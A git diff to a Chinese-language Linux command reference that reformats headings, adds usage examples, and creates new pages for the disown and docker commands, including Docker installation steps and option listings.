使用dhcrelay命令可以提供中继DHCP和BOOTP请求,从一个没有DHCP服务器的子网直接连接到其它子网内的一个或多个DHCP服务器。该命令在DHCP中继服务器上使用,同时支持DHCPv4/BOOTP和DHCPv6协议。 -### 语法 +### 语法 ```shell dhcrelay [选项] [DHCP服务器] ``` -### 选项 +### 选项 ```shell -c <跳数> 当转发数据包时,dhcrelay丢弃已经达到一个最大跳数的数据包。默认值是10,最大值是255 @@ -42,4 +42,4 @@ Sending on LPF/eth0/00:0c:27:fc:25:ec Sending on Socket/fallback ``` - + diff --git a/command/diff.md b/command/diff.md index 4920cfd18c8..e3f177a1a72 100644 --- a/command/diff.md +++ b/command/diff.md @@ -7,41 +7,41 @@ diff **diff命令** 在最简单的情况下,比较给定的两个文件的不同。如果使用“-”代替“文件”参数,则要比较的内容将来自标准输入。diff命令是以逐行的方式,比较文本文件的异同处。如果该命令指定进行目录的比较,则将会比较该目录中具有相同文件名的文件,而不会对其子目录文件进行任何比较操作。 -### 语法 +### 语法 ```shell diff(选项)(参数) ``` -### 选项 +### 选项 ```shell -<行数>:指定要显示多少行的文本。此参数必须与-c或-u参数一并使用; --a或——text:diff预设只会逐行比较文本文件; +-a或--text:diff预设只会逐行比较文本文件; -b或--ignore-space-change:不检查空格字符的不同; -B或--ignore-blank-lines:不检查空白行; -c:显示全部内容,并标出不同之处; -C<行数>或--context<行数>:与执行“-c-<行数>”指令相同; --d或——minimal:使用不同的演算法,以小的单位来做比较; +-d或--minimal:使用不同的演算法,以小的单位来做比较; -D<巨集名称>或ifdef<巨集名称>:此参数的输出格式可用于前置处理器巨集; --e或——ed:此参数的输出格式可用于ed的script文件; +-e或--ed:此参数的输出格式可用于ed的script文件; -f或-forward-ed:输出的格式类似ed的script文件,但按照原来文件的顺序来显示不同处; -H或--speed-large-files:比较大文件时,可加快速度; -l<字符或字符串>或--ignore-matching-lines<字符或字符串>:若两个文件在某几行有所不同,而之际航同时都包含了选项中指定的字符或字符串,则不显示这两个文件的差异; -i或--ignore-case:不检查大小写的不同; --l或——paginate:将结果交由pr程序来分页; --n或——rcs:将比较结果以RCS的格式来显示; +-l或--paginate:将结果交由pr程序来分页; +-n或--rcs:将比较结果以RCS的格式来显示; -N或--new-file:在比较目录时,若文件A仅出现在某个目录中,预设会显示:Only in目录,文件A 若使用-N参数,则diff会将文件A 与一个空白的文件比较; -p:若比较的文件为C语言的程序码文件时,显示差异所在的函数名称; -P或--unidirectional-new-file:与-N类似,但只有当第二个目录包含了第一个目录所没有的文件时,才会将这个文件与空白的文件做比较; -q或--brief:仅显示有无差异,不显示详细的信息; --r或——recursive:比较子目录中的文件; +-r或--recursive:比较子目录中的文件; -s或--report-identical-files:若没有发现任何差异,仍然显示信息; -S<文件>或--starting-file<文件>:在比较目录时,从指定的文件开始比较; -t或--expand-tabs:在输出时,将tab字符展开; -T或--initial-tab:在每行前面加上tab字符以便对齐; -u,-U<列数>或--unified=<列数>:以合并的方式来显示文件内容的不同; --v或——version:显示版本信息; +-v或--version:显示版本信息; -w或--ignore-all-space:忽略全部的空格字符; -W<宽度>或--width<宽度>:在使用-y参数时,指定栏宽; -x<文件名或目录>或--exclude<文件名或目录>:不比较选项中所指定的文件或目录; @@ -52,12 +52,68 @@ diff(选项)(参数) --suppress-common-lines:在使用-y参数时,仅显示不同之处。 ``` -### 参数 +### 参数 -* 文件1:指定要比较的第一个文件; -* 文件2:指定要比较的第二个文件。 +* 文件1:指定要比较的第一个文件; +* 文件2:指定要比较的第二个文件。 -### 实例 +### 实例 + +#### 以正常模式比较差异 + +```shell +diff a.txt b.txt +``` + +#### 以上下文 (context) 模式比较差异 + +```shell +diff -c a.txt b.txt +``` + +```shell +  *** a1.txt 2012-08-29 16:45:41.000000000 +0800 +  --- a2.txt 2012-08-29 16:45:51.000000000 +0800 +  *************** +  *** 1,7 **** +   a +   a +   a +  !a +   a +   a +   a +  --- 1,7 ---- +   a +   a +   a +  !b +   a +   a +   a +``` + +#### 以联合 (unified) 模式比较差异 + +```shell +diff -u a.txt b.txt +``` + +```shell +  --- a.txt 2012-08-29 16:45:41.000000000 +0800 +  +++ b.txt 2012-08-29 16:45:51.000000000 +0800 +  @@ -1,7 +1,7 @@ +   a +   a +   a +  -a +  +b +   a +   a +   a +``` + +#### 多文件比较差异 将目录`/usr/li`下的文件"test.txt"与当前目录下的文件"test.txt"进行比较,输入如下命令: @@ -78,4 +134,3 @@ n1,n2 c n3,n4 注意:以上说明指定了两个文件中不同处的行号及其相应的操作。在输出形式中,每一行后面将跟随受到影响的若干行。其中,以<开始的行属于文件1,以>开始的行属于文件2。 - \ No newline at end of file diff --git a/command/diff3.md b/command/diff3.md index 1eabd48233f..5bb954a4e1b 100644 --- a/command/diff3.md +++ b/command/diff3.md @@ -7,13 +7,13 @@ diff3 **diff3命令** 用于比较3个文件,将3个文件的不同的地方显示到标准输出。 -### 语法 +### 语法 ```shell diff3(选项)(参数) ``` -### 选项 +### 选项 ```shell -a:把所有的文件都当做文本文件按照行为单位进行比较,即给定的文件不是文本文件; @@ -25,11 +25,10 @@ diff3(选项)(参数) --initial-tab:在正常格式的行的文本前,输出一个TAB字符而非两个空白字符。此选项将导致在行中TAB字符的对齐方式看上去规范。 ``` -### 参数 +### 参数 * 文件1:指定要比较的第1个文件; * 文件2:指定要比较的第2个文件; * 文件3:指定要比较的第3个文件。 - \ No newline at end of file diff --git a/command/diffstat.md b/command/diffstat.md index abc50dd6697..07ef295b39a 100644 --- a/command/diffstat.md +++ b/command/diffstat.md @@ -7,13 +7,13 @@ diffstat **diffstat命令** 用来显示diff命令输出信息的柱状图,用以显示diff命令比较两个文件的不同统计信息。用户也可以直接使用`|`将diff命令所输出的结果直接送给diffstat命令进行统计结果的显示。使用该命令时,若所比较的文件或者子目录不在当前目录下,则应该使用其完整路径。 -### 语法 +### 语法 ```shell diffstat(选项)(参数) ``` -### 选项 +### 选项 ```shell -n<文件名长度>:指定文件名长度,指定的长度必须大于或等于所有文件中最长的文件名; @@ -22,11 +22,11 @@ diffstat(选项)(参数) -v:显示版本信息。 ``` -### 参数 +### 参数 文件:指定保存有diff命令的输出信息文件。 -### 实例 +### 实例 将目录"test1"和"test2"下的同名文件"testf.txt"使用diff命令进行比较。然后使用diffstat命令对结果进行统计显示,输入如下命令: @@ -65,4 +65,3 @@ testfile | 2 +- #统计信息输出显示 ``` - \ No newline at end of file diff --git a/command/dig.md b/command/dig.md index 61750c0aee6..47109c4775a 100644 --- a/command/dig.md +++ b/command/dig.md @@ -7,13 +7,13 @@ dig **dig命令** 是常用的域名查询工具,可以用来测试域名系统工作是否正常。 -### 语法 +### 语法 ```shell dig(选项)(参数) ``` -### 选项 +### 选项 ```shell @<服务器地址>:指定进行域名解析的域名服务器; @@ -27,40 +27,38 @@ dig(选项)(参数) -h:显示指令帮助信息。 ``` -### 参数 +### 参数 * 主机:指定要查询域名主机; * 查询类型:指定DNS查询的类型; * 查询类:指定查询DNS的class; * 查询选项:指定查询选项。 -### 实例 +### 实例 ```shell -[root@localhost ~]# dig www.jsdig.com +[root@localhost ~]# dig www.baidu.com -; <<>> DiG 9.3.6-P1-RedHat-9.3.6-20.P1.el5_8.1 <<>> www.jsdig.com -;; global options: printcmd +; <<>> DiG 9.10.6 <<>> www.baidu.com +;; global options: +cmd ;; Got answer: -;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2115 -;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 2, ADDITIONAL: 0 +;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57295 +;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 1 +;; OPT PSEUDOSECTION: +; EDNS: version: 0, flags:; udp: 4096 ;; QUESTION SECTION: -;www.jsdig.com. IN A +;www.baidu.com. IN A ;; ANSWER SECTION: -www.jsdig.com. 0 IN CNAME host.1.jsdig.com. -host.1.jsdig.com. 0 IN A 100.42.212.8 - -;; AUTHORITY SECTION: -jsdig.com. 8 IN NS f1g1ns2.dnspod.net. -jsdig.com. 8 IN NS f1g1ns1.dnspod.net. - -;; Query time: 0 msec -;; SERVER: 202.96.104.15#53(202.96.104.15) -;; WHEN: Thu Dec 26 11:14:37 2013 -;; MSG SIZE rcvd: 121 +www.baidu.com. 963 IN CNAME www.a.shifen.com. +www.a.shifen.com. 63 IN A 180.101.50.242 +www.a.shifen.com. 63 IN A 180.101.50.188 + +;; Query time: 14 msec +;; SERVER: 119.29.29.29#53(119.29.29.29) +;; WHEN: Wed May 10 16:16:36 CST 2023 +;; MSG SIZE rcvd: 101 ``` - \ No newline at end of file diff --git a/command/dircolors.md b/command/dircolors.md index 96611bc3816..a4ea8004f89 100644 --- a/command/dircolors.md +++ b/command/dircolors.md @@ -7,13 +7,13 @@ dircolors **dircolors命令** 设置ls命令在显示目录或文件时所用的色彩。dircolors可根据[色彩配置文件]来设置LS_COLORS环境变量或是显示设置LS_COLORS环境变量的命令。 -### 语法 +### 语法 ```shell dircolors(选项)(参数) ``` -### 选项 +### 选项 ```shell -b或--sh或--bourne-shell:显示在Boume shell中,将LS_COLORS设为目前预设置的shell指令; @@ -23,11 +23,11 @@ dircolors(选项)(参数) -version:显示版本信息。 ``` -### 参数 +### 参数 文件:指定用来设置颜色的文件。 -### 实例 +### 实例 ```shell [root@localhost ~]# dircolors -p @@ -142,4 +142,3 @@ exec 01;32 ``` - \ No newline at end of file diff --git a/command/dirname.md b/command/dirname.md index f8efd89411f..be71da772ac 100644 --- a/command/dirname.md +++ b/command/dirname.md @@ -5,22 +5,22 @@ dirname ## 补充说明 -**dirname命令** 去除文件名中的非目录部分,仅显示与目录有关的内容。dirname命令读取指定路径名保留最后一个`/`及其后面的字符,删除其他部分,并写结果到标准输出。如果最后一个`/`后无字符,dirname 命令使用倒数第二个`/`,并忽略其后的所有字符。dirname 和 basename 通常在 shell 内部命令替换使用,以指定一个与指定输入文件名略有差异的输出文件名。 +**dirname命令** 去除文件名中的非目录部分,仅显示与目录有关的内容。dirname命令读取指定路径名保留最后一个`/`及其后面的字符,删除其他部分,并写结果到标准输出。如果最后一个`/`后无字符,dirname 命令使用倒数第二个`/`,并忽略其后的所有字符。dirname 和 basename 通常在 shell 内部命令替换使用,以指定一个与指定输入文件名略有差异的输出文件名。 -### 语法 +### 语法 ```shell dirname(选项)(参数) ``` -### 选项 +### 选项 ```shell --help:显示帮助; --version:显示版本号。 ``` -### 实例 +### 实例 ```shell dirname // @@ -37,4 +37,4 @@ dirname a/b ``` - \ No newline at end of file + diff --git a/command/dirs.md b/command/dirs.md index bf08bf5f0ff..de6a297ad7c 100644 --- a/command/dirs.md +++ b/command/dirs.md @@ -1,39 +1,77 @@ dirs === -显示目录记录 +显示目录堆栈。 -## 补充说明 - -**dirs命令** 显示当前目录栈中的所有记录(不带参数的dirs命令显示当前目录栈中的记录)。dirs始终显示当然目录, 再是堆栈中的内容;即使目录堆栈为空, dirs命令仍然只显示当然目录。 - -### 语法 +## 语法 ```shell -dirs(选项)(参数) +dirs [-clpv] [+N] [-N] ``` -### 选项 +## 主要用途 + +- 显示目录堆栈。 +- 清空目录堆栈。 + +## 选项 ```shell --c:删除目录栈中的所有记录 --l:以完整格式显示 --p:一个目录一行的方式显示 --v:每行一个目录来显示目录栈的内容,每个目录前加上的编号 -+N:显示从左到右的第n个目录,数字从0开始 --N:显示从右到左的第n个日录,数字从0开始 +-c 清空目录堆栈。 +-l 堆栈内以~开头的目录在显示时展开。 +-p 将目录堆栈内的每一个目录按行显示。 +-v 将目录堆栈内的每一个目录按行显示并在每行前加上堆栈内的位置编号。 ``` -### 参数 +## 参数 + ++N(可选):不带参数执行`dirs`命令显示的列表中,左起的第N个目录将被显示。(从0开始计数) -目录:显示目录堆叠中的记录。 +-N(可选):不带参数执行`dirs`命令显示的列表中,右起的第N个目录将被显示。(从0开始计数) -### 实例 +## 返回值 + +返回成功除非提供了非法选项或执行出现错误。 + +## 例子 ```shell -[root@localhost etc]# dirs -/etc +# 添加目录到堆栈。 +[user2@pc ~]$ dirs +~ +[user2@pc ~]$ pushd -n ~/Desktop +~ ~/Desktop +[user2@pc ~]$ pushd -n ~/Pictures +~ ~/Pictures ~/Desktop +[user2@pc ~]$ pushd -n ~/bin +~ ~/bin ~/Pictures ~/Desktop + +# 选项和参数的示例: +[user2@pc ~]$ dirs -l +/home/user2 /home/user2/bin /home/user2/Pictures /home/user2/Desktop +[user2@pc ~]$ dirs -p +~ +~/bin +~/Pictures +~/Desktop +[user2@pc ~]$ dirs -v + 0 ~ + 1 ~/bin + 2 ~/Pictures + 3 ~/Desktop +[user2@pc ~]$ dirs +2 +~/Pictures +[user2@pc ~]$ dirs -2 +~/bin +[user2@pc ~]$ dirs -c +[user2@pc ~]$ dirs +~ ``` +### 注意 + +1. `bash`的目录堆栈命令包括`dirs popd pushd`。 +2. 当前目录始终是目录堆栈的顶部。 +3. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 + - \ No newline at end of file diff --git a/command/disown.md b/command/disown.md new file mode 100644 index 00000000000..abf6807784a --- /dev/null +++ b/command/disown.md @@ -0,0 +1,125 @@ +disown +=== + +从当前的shell中移除作业。 + +## 概要 + +```shell +disown [-h] [-ar] [jobspec ... | pid ...] +``` + +## 主要用途 + +- 从当前shell的作业列表中移除全部作业。 + +- 从当前shell的作业列表中移除指定的一到多个作业。 + +- 从当前shell的作业列表中移除正在运行的作业。 + +- 标记作业,使得它们在当前shell退出后也不会结束。 + + +## 选项 + +```shell +-h 标记每个作业标识符,这些作业将不会在shell接收到sighup信号时接收到sighup信号。 +-a 移除所有的作业。 +-r 移除运行的作业。 +``` + +## 参数 + +jobspec(可选):要移除的作业标识符,可以是一到多个。 + +pid(可选):要移除的作业对应的进程ID,可以是一到多个。 + + +## 返回值 + +返回成功除非未开启作业控制或执行出现错误。 + +## 例子 + +```shell +# 演示。 +[user2@pc] ssh 192.168.1.4 +user2@192.168.1.4's password: +# 此时按下ctrl+z使得交互停止。 +[1]+ Stopped ssh 192.168.1.4 + +[user2@pc] ssh 192.168.1.7 +user2@192.168.1.7's password: +# 此时按下ctrl+z使得交互停止。 +[1]+ Stopped ssh 192.168.1.7 + +[user2@pc] sleep 120 & +[3] 28986 + +# 列出作业及pid信息。 +[user2@pc] jobs -l +[1]- 28756 Stopped ssh 192.168.1.4 +[2]+ 28833 Stopped ssh 192.168.1.7 +[3] 28986 Running sleep 120 & + +# 删除运行状态的作业。 +[user2@pc] disown -r + +[user2@pc] jobs -l +[1]- 28756 Stopped ssh 192.168.1.4 +[2]+ 28833 Stopped ssh 192.168.1.7 + +# 注意disown只是移除作业,并没有停止。 +[user2@pc] pgrep -a -u user2 -f 'sleep 120' +28986 sleep 120 + +# 删除指定的作业。 +[user2@pc] disown %2 +bash: warning: deleting stopped job 2 with process group 28833 + +[user2@pc] jobs -l +[1]- 28756 Stopped ssh 192.168.1.4 + +# 注意disown只是移除作业,并没有停止。 +[user2@pc] pgrep -a -u user2 -f 'ssh 192.168.1.7' +28833 ssh 192.168.1.7 + +# 删除全部作业。 +[user2@pc] disown -a +bash: warning: deleting stopped job 1 with process group 28756 + +[user2@pc] jobs -l + +# 注意disown只是移除作业,并没有停止。 +[user2@pc] pgrep -a -u user2 -f 'ssh 192.168.1.4' +28756 ssh 192.168.1.4 +``` + +```shell +# 演示-h选项的作用。 +[user2@pc] sleep 90 & +[1] 109080 + +[user2@pc] jobs -l +[1]+ 109080 Running sleep 90 & + +[user2@pc] disown -h %1 + +[user2@pc] exit + +# 此时前一个终端已经关闭,现在打开新终端查找该作业。 +[user2@pc] pgrep -a -u user2 -f 'sleep 90' +109080 sleep 90 +``` + +### 注意 + +1. `bash`的作业控制命令包括`bg fg kill wait disown suspend`。 +2. 该命令需要`set`选项`monitor`处于开启状态时才能执行;查看作业控制状态:输入`set -o`查看`monitor`行;执行`set -o monitor`或`set -m`开启该选项。 +3. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 + +### 参考链接 + +- [disown的用法](https://www.cyberciti.biz/faq/unix-linux-disown-command-examples-usage-syntax/) + + diff --git a/command/dmesg.md b/command/dmesg.md index 0b24afa3edd..d1258517a50 100644 --- a/command/dmesg.md +++ b/command/dmesg.md @@ -7,13 +7,13 @@ dmesg **dmesg命令** 被用于检查和控制内核的环形缓冲区。kernel会将开机信息存储在ring buffer中。您若是开机时来不及查看信息,可利用dmesg来查看。开机信息保存在`/var/log/dmesg`文件里。 -### 语法 +### 语法 ```shell dmesg(选项) ``` -### 选项 +### 选项 ```shell -c:显示信息后,清除ring buffer中的内容; @@ -21,7 +21,7 @@ dmesg(选项) -n:设置记录信息的层级。 ``` -### 实例 +### 实例 ```shell [root@localhost ~]# dmesg | head @@ -50,4 +50,12 @@ dmesg | grep sda [ 2.448503] sd 0:0:0:0: [sda] Attached SCSI disk ``` - +查看多关键字 + +```shell +dmesg | grep -E "vcc5v0_host|vcc_3v3_s0|ttyS" + +[ 1.193143] vcc5v0_host: supplied by vcc5v0_usb +[ 1.481139] feb80000.serial: ttyS5 at MMIO 0xfeb80000 (irq = 73, base_baud = 1500000) is a 16550A +[ 1.513541] vcc_3v3_s0: supplied by vcc5v0_sys +``` diff --git a/command/dmidecode.md b/command/dmidecode.md index 1eaec7c7a65..3b1bb9d89dd 100644 --- a/command/dmidecode.md +++ b/command/dmidecode.md @@ -11,13 +11,13 @@ DMI(Desktop Management Interface,DMI)就是帮助收集电脑系统信息的 DMI充当了管理工具和系统层之间接口的角色。它建立了标准的可管理系统更加方便了电脑厂商和用户对系统的了解。DMI的主要组成部分是Management Information Format(MIF)数据库。这个数据库包括了所有有关电脑系统和配件的信息。通过DMI,用户可以获取序列号、电脑厂商、串口信息以及其它系统配件信息。 -### 语法 +### 语法 ```shell dmidecode [选项] ``` -### 选项 +### 选项 ```shell -d:(default:/dev/mem)从设备文件读取信息,输出内容与不加参数标准输出相同。 @@ -114,7 +114,7 @@ dmidecode [选项] * Additional Information * Onboard Device -### 实例 +### 实例 ```shell dmidecode -t 1 # 查看服务器信息 @@ -290,4 +290,4 @@ dmidecode|grep -A16 "Memory Device"|grep 'Speed' ```shell - + diff --git a/command/dnf.md b/command/dnf.md index adcbb214744..b2b5cb0b71f 100644 --- a/command/dnf.md +++ b/command/dnf.md @@ -7,11 +7,11 @@ dnf **DNF** 是新一代的rpm软件包管理器。他首先出现在 Fedora 18 这个发行版中。而最近,它取代了yum,正式成为 Fedora 22 的包管理器。 -DNF包管理器克服了YUM包管理器的一些瓶颈,提升了包括用户体验,内存占用,依赖分析,运行速度等多方面的内容。DNF使用 RPM, libsolv 和 hawkey 库进行包管理操作。尽管它没有预装在 CentOS 和 RHEL 7 中,但你可以在使用 YUM 的同时使用 DNF 。你可以在这里获得关于 DNF 的更多知识:《 DNF 代替 YUM ,你所不知道的缘由》 +DNF包管理器克服了YUM包管理器的一些瓶颈,提升了包括用户体验,内存占用,依赖分析,运行速度等多方面的内容。DNF使用 RPM, libsolv 和 hawkey 库进行包管理操作。尽管它没有预装在 CentOS 和 RHEL 7 中,但你可以在使用 YUM 的同时使用 DNF 。 -DNF 的最新稳定发行版版本号是 1.0,发行日期是2015年5月11日。 这一版本的额 DNF 包管理器(包括在他之前的所有版本) 都大部分采用 Python 编写,发行许可为GPL v2. +DNF 的最新稳定发行版版本号是 1.0,发行日期是2015年5月11日。 这一版本的 DNF 包管理器(包括在他之前的所有版本) 都大部分采用 Python 编写,发行许可为GPL v2. -### 安装 DNF 包管理器 +### 安装 DNF 包管理器 DNF 并未默认安装在 RHEL 或 CentOS 7系统中,但是 Fedora 22 已经默认使用 DNF . @@ -267,7 +267,7 @@ Error: Nothing to do. 原作者注:在执行这条命令的时候, DNF 并没有按照我期望的那样降级指定的软件(“acpid”)。该问题已经上报。 -### 总结 +### 总结 DNF 包管理器作为 YUM 包管理器的升级替代品,它能自动完成更多的操作。但在我看来,正因如此,所以 DNF 包管理器不会太受那些经验老道的 Linux 系统管理者的欢迎。举例如下: @@ -277,4 +277,3 @@ DNF 包管理器作为 YUM 包管理器的升级替代品,它能自动完成 4. 当你在 DNF 中排除了某个软件库,那么该操作将会影响到你之后所有的操作,不像在 YUM 下那样,你的排除操作只会咋升级和安装软件时才起作用。 - \ No newline at end of file diff --git a/command/dnsdomainname.md b/command/dnsdomainname.md index ce15780fe29..4b0d413cbe8 100644 --- a/command/dnsdomainname.md +++ b/command/dnsdomainname.md @@ -7,19 +7,19 @@ dnsdomainname **dnsdomainname命令** 用于定义DNS系统中FQDN名称中的域名。 -### 语法 +### 语法 ```shell dnsdomainname(选项) ``` -### 选项 +### 选项 ```shell -v:详细信息模式,输出指令执行的详细信息。 ``` -### 实例 +### 实例 ```shell [root@AY1307311912260196fcZ ~]# dnsdomainname -v @@ -30,4 +30,3 @@ Result: h_addr_list=`10.160.7.81' ``` - \ No newline at end of file diff --git a/command/docker.md b/command/docker.md new file mode 100644 index 00000000000..5e293866f5e --- /dev/null +++ b/command/docker.md @@ -0,0 +1,352 @@ +docker +=== + +容器化技术,可以将应用程序及其依赖项打包到一个可移植的容器中,使其可以在不同的环境中运行 + +## 补充说明 + +Docker 容器可以快速部署、可移植、可扩展,并且可以在不同的平台上运行。Docker 可以帮助开发人员和运维人员更轻松地构建、发布和管理应用程序。 + +## 安装 + +在 Linux 中输入以下命令安装 Docker。 + +```bash +# CentOS 参考:https://blog.csdn.net/zhaoyuanh/article/details/126610347 +#如果系统里有旧版本docker的话需要先行删除: +sudo yum remove docker \ + docker-client \ + docker-client-latest \ + docker-common \ + docker-latest \ + docker-latest-logrotate \ + docker-logrotate \ + docker-engine + +#设置仓库: +yum install -y yum-utils + +#添加Docker仓库: +yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo + +#安装Docker引擎(默认最新): +yum install docker-ce docker-ce-cli containerd.io docker-compose-plugin + +#启动docker: +sudo systemctl start docker + +``` + +```bash +# Docker官方提供的快速安装脚本 https://github.com/docker/docker-install +# 不建议在生产环境中使用 +curl -fsSL https://get.docker.com -o get-docker.sh +sudo sh ./get-docker.sh --dry-run + +# 使用systemctl设置开机启动 +sudo systemctl enable docker.service +sudo systemctl enable containerd.service +``` + +## 语法 + +```shell +docker create [options] IMAGE +``` + +## 选项参数 + +```shell +attach 将本地标准输入、输出和错误流附加到正在运行的容器 +build 从 Dockerfile 构建镜像 +commit 从容器的更改创建新镜像 +cp 在容器和本地文件系统之间复制文件/文件夹 +create 创建一个新容器 +diff 检查容器文件系统上文件或目录的更改 +events 从服务器获取实时事件 +exec 在正在运行的容器中运行命令 +export 将容器的文件系统导出为 tar 存档 +history 显示镜像的历史 +images 列出镜像 +import 从 tarball 导入内容以创建文件系统映像 +info 显示系统范围的信息 +inspect 返回有关 Docker 对象的低级信息 +kill 杀死一个或多个正在运行的容器 +load 从 tar 存档或 STDIN 加载镜像 +login 登录到 Docker 注册表 +logout 从 Docker 注册表中注销 +logs 获取容器的日志 +pause 暂停一个或多个容器内的所有进程 +port 列出容器的端口映射或特定映射 +ps 列出容器 +pull 从注册表中提取镜像或存储库 +push 将镜像或存储库推送到注册表 +rename 重命名容器 +restart 重启一个或多个容器 +rm 移除一个或多个容器 +rmi 移除一张或多张镜像 +run 在新容器中运行命令 +save 将一个或多个镜像保存到 tar 存档(默认流式传输到 STDOUT) +search 在 Docker Hub 中搜索镜像 +start 启动一个或多个停止的容器 +stats 显示容器资源使用统计的实时流 +stop 停止一个或多个正在运行的容器 +tag 创建一个引用 SOURCE_IMAGE 的标记 TARGET_IMAGE +top 显示容器的运行进程 +unpause 取消暂停一个或多个容器中的所有进程 +update 更新一个或多个容器的配置 +version 显示 Docker 版本信息 +wait 阻塞直到一个或多个容器停止,然后打印它们的退出代码 + +<环境参数> + --add-host list # 添加自定义主机到 IP 映射 (host:ip) +-a, --attach list # 连接到 STDIN、STDOUT 或 STDERR + --blkio-weight uint16 # 块 IO(相对权重),介于 10 和 1000 之间,或 0 禁用(默认 0) + --blkio-weight-device list # 块 IO 权重(相对设备权重)(默认 []) + --cap-add list # 添加 Linux 功能 + --cap-drop list # 放弃 Linux 功能 + --cgroup-parent string # 容器的可选父 cgroup + --cgroupns string # 要使用的 Cgroup 命名空间(主机|私有) + # 'host': 在 Docker 主机的 cgroup 命名空间中运行容器 + # 'private': 在自己的私有 cgroup 命名空间中运行容器 + # '': 使用由守护进程上的 + # default-cgroupns-mode 选项配置的 cgroup 命名空间(默认) + --cidfile string # 将容器 ID 写入文件 + --cpu-period int # 限制 CPU CFS(完全公平调度器)周期 + --cpu-quota int # 限制 CPU CFS(完全公平调度器)配额 + --cpu-rt-period int # 以微秒为单位限制 CPU 实时周期 + --cpu-rt-runtime int # 以微秒为单位限制 CPU 实时运行时间 +-c, --cpu-shares int # CPU 份额(相对权重) + --cpus decimal # CPU 数量 + --cpuset-cpus string # 允许执行的 CPU (0-3, 0,1) + --cpuset-mems string # 允许执行的 MEM (0-3, 0,1) + --device list # 将主机设备添加到容器 + --device-cgroup-rule list # 将规则添加到 cgroup 允许的设备列表 + --device-read-bps list # 限制设备的读取速率(每秒字节数)(默认 []) + --device-read-iops list # 限制设备的读取速率(每秒 IO)(默认 []) + --device-write-bps list # 限制设备的写入速率(每秒字节数)(默认 []) + --device-write-iops list # 限制设备的写入速率(每秒 IO)(默认 []) + --disable-content-trust # 跳过镜像验证(默认为 true) + --dns list # 设置自定义 DNS 服务器 + --dns-option list # 设置 DNS 选项 + --dns-search list # 设置自定义 DNS 搜索域 + --domainname string # 容器 NIS 域名 + --entrypoint string # 覆盖镜像的默认入口点 +-e, --env list # 设置环境变量 + --env-file list # 读入环境变量文件 + --expose list # 公开一个端口或一系列端口 + --gpus gpu-request # 要添加到容器中的 GPU 设备(“全部”以传递所有 GPU) + --group-add list # 添加其他组以加入 + --health-cmd string # 运行以检查运行状况的命令 + --health-interval duration # 运行检查之间的时间 (ms|s|m|h) (默认 0s) + --health-retries int # 需要报告不健康的连续失败 + --health-start-period duration # 开始健康重试倒计时之前容器初始化的开始时间(ms|s|m|h)(默认 0s) + --health-timeout duration # 允许运行一项检查的最长时间 (ms|s|m|h) (默认 0s) + --help # 打印使用 +-h, --hostname string # 容器主机名 + --init # 在容器内运行一个 init 来转发信号并收获进程 +-i, --interactive # 即使没有连接,也保持 STDIN 打开 + --ip string # IPv4 地址(例如 172.30.100.104) + --ip6 string # IPv6 地址(例如,2001:db8::33) + --ipc string # 要使用的 IPC 模式 + --isolation string # 容器隔离技术 + --kernel-memory bytes # 内核内存限制 +-l, --label list # 在容器上设置元数据 + --label-file list # 读入以行分隔的标签文件 + --link list # 添加到另一个容器的链接 + --link-local-ip list # 容器 IPv4/IPv6 链路本地地址 + --log-driver string # 容器的日志记录驱动程序 + --log-opt list # 日志驱动程序选项 + --mac-address string # 容器 MAC 地址(例如 92:d0:c6:0a:29:33) +-m, --memory bytes # 内存限制 + --memory-reservation bytes # 内存软限制 + --memory-swap bytes # 交换限制等于内存加上交换:'-1' 启用无限交换 + --memory-swappiness int # 调整容器内存交换(0 到 100)(默认 -1) + --mount mount # 将文件系统挂载附加到容器 + --name string # 为容器分配名称 + --network network # 将容器连接到网络 + --network-alias list # 为容器添加网络范围的别名 + --no-healthcheck # 禁用任何容器指定的 HEALTHCHECK + --oom-kill-disable # 禁用 OOM 杀手 + --oom-score-adj int # 调整主机的 OOM 首选项(-1000 到 1000) + --pid string # 要使用的 PID 命名空间 + --pids-limit int # 调整容器 pids 限制(设置 -1 表示无限制) + --platform string # 如果服务器支持多平台,则设置平台 + --privileged # 授予此容器扩展权限 +-p, --publish list # 将容器的端口发布到主机 +-P, --publish-all # 将所有暴露的端口发布到随机端口 + --pull string # 创建前拉取镜像("always"|"missing"|"never")(默认"missing") + --read-only # 将容器的根文件系统挂载为只读 + --restart string # 容器退出时应用的重启策略(默认“否”) + --rm # 容器退出时自动移除 + --runtime string # 用于此容器的运行时 + --security-opt list # 安全选项 + --shm-size bytes # /dev/shm 的大小 + --stop-signal string # 停止容器的信号(默认“SIGTERM”) + --stop-timeout int # 停止容器的超时(以秒为单位) + --storage-opt list # 容器的存储驱动程序选项 + --sysctl map # Sysctl 选项(默认 map[]) + --tmpfs list # 挂载 tmpfs 目录 +-t, --tty # 分配一个伪 TTY + --ulimit ulimit # ulimit 选项(默认 []) +-u, --user string # 用户名或 UID(格式:[:]) + --userns string # 要使用的用户命名空间 + --uts string # 要使用的 UTS 命名空间 +-v, --volume list # 绑定挂载卷 + --volume-driver string # 容器的可选卷驱动程序 + --volumes-from list # 从指定容器挂载卷 +-w, --workdir string # 容器内的工作目录 +``` + +## 实例 + +介绍几个常用场景:Docker Hub镜像市场相关,镜像仓库命令。 + +1、下载docker hub镜像市场中的镜像。 + +```bash +docker pull user/image +``` + +2、在 docker hub 中搜索镜像。 + +```bash +# 注意需要下载镜像才能使用 +docker search search_word +``` + +3、向 docker hub 进行身份验证。 + +```bash +docker login +``` + +4、将镜像上传到 docker hub。 + +```bash +docker push user/image +``` + + +## docker network +## 语法 + +``` +docker network [COMMAND] +``` + +## COMMAND + +### docker network connect +将容器连接到网络。您可以按名称或ID连接容器。连接后,容器可以与同一网络中的其他容器通信。 + +```shell +docker network connect [OPTIONS] NETWORK CONTAINER +``` + +#### 选项参数 + +```shell +--alias 为容器添加网络范围的别名 +--driver-opt 网络的驱动程序选项 +--ip IPv4地址(例如172.30.100.104) +--ip6 IPv6地址(例如2001:db8 :: 33) +--link 将链接添加到另一个容器(建议不用,后期应该会删除的) +--link-local-ip 为容器添加本地链接地址 +``` + +### docker network disconnect +断开容器与网络的连接 + +```shell +docker network disconnect [OPTIONS] NETWORK CONTAINER +``` + +#### 